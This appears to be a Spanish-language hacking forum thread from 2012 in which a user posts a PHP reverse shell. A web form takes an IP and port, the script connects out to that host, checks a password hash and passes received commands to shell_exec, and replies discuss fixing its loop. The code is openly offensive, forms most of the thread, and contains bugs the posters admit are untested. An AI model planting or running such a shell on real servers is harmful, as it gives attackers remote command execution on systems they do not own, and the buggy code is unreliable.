Php Reverse Shell Socket Duda.

Iniciado por Muppet, Julio 11, 2012, 04:33:57 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 11, 2012, 04:33:57 PM Ultima modificación: Marzo 27, 2014, 05:47:07 PM por Expermicid
Bueno Arme esta php shell que en un principio no me funcionaba, gracias a la ayuda de Cronos creo q quedo funcionando, apenas pueda la pruebo!

Código: php
<html>
<body>
<center>
<form method="post">
Ip:<br>
<input name="ip" type="text" id="ip"/><br>
Port:<br>
<input name="port" type="text" id="port"/><br>
<input type="submit" value="submit"/>
</form>
</center>
</body>
</html>

<?php
$ip = $_POST['ip'];
$port = $_POST['port'];
if($ip != "" && $ip != 0) {
$sock = fsockopen ("$ip", $port);
fputs($sock, "Password: ");
}
while($cmd != 0) {
$log = fgets($sock, $port);
$log2 = md5($log);
if($log2 == "5e2c8ac9008420e9ac3c008bef292c01") {
    fputs($sock, "Comando: ");
    $cmd = fgets($sock, $port);       
if($cmd) {

$result = shell_exec('$cmd');
fputs($sock, "$result");

}}else{
echo "Acceso Denegado";
}}
?>

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Por lo qe eh podido ver, tienes error apartir del While.. lo abres y por lo que veo nunca lo cierras, y otra cosa, esa condicion en un while es un poco rara, cuando saldria del while?
Saludos,, Cronos.-

Julio 13, 2012, 12:20:53 AM #2 Ultima modificación: Julio 13, 2012, 01:08:48 AM por hdbreaker
Creo haberlo reparado, ahora no tengo la posibilidad de testearlo porq no estoy en mi casa y no cuento con una ip fija, si alguien lo prueba escriba si funciono, Gracias Cronos!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".